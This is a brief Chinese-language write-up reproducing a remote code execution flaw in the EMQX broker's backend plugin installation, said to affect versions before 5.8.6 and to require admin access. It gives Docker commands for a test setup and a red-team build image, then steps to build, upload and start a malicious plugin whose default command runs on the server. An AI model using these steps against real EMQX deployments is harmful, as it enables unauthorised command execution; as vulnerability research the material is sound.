EMQX 后台插件 RCE
声明
本文版权归原作者所有,未经允许禁止转载。
漏洞原理
后台插件安装脚本过程中有部分参数可造成命令注入,从而导致 RCE。
影响版本
emqx < 5.8.6
前提条件
具有后台权限(admin/public)
漏洞复现
利用 Docker 搭建环境:
docker run -d --name emqx-enterprise -p 1883:1883 -p 8083:8083 -p 8084:8084 -p 8883:8883 -p 18083:18083 emqx/emqx-enterprise:5.5.1拉取编译环境 Docker 镜像,快速编译插件:
docker pull crpi-r2ta923g837syaja.cn-hangzhou.personal.cr.aliyuncs.com/redteam-images/emqx-rce:latest运行并进入容器:
# 运行容器
docker run -itd --name emqx-rce -w /root crpi-r2ta923g837syaja.cn-hangzhou.personal.cr.aliyuncs.com/redteam-images/emqx-rce:latest
# 进入容器
docker exec -it emqx-rce /bin/bash新建插件:
./new_plugin.sh rce_plugin修改默认的命令:
vi rce_plugin/src/rce_plugin.erl
编译:
make -C rce_plugin rel复制到本地即可:
docker cp emqx-rce:/root/rce_plugin/_build/default/emqx_plugrel/rce_plugin-1.0.0.tar.gz .
上传:

启动插件即可执行命令:

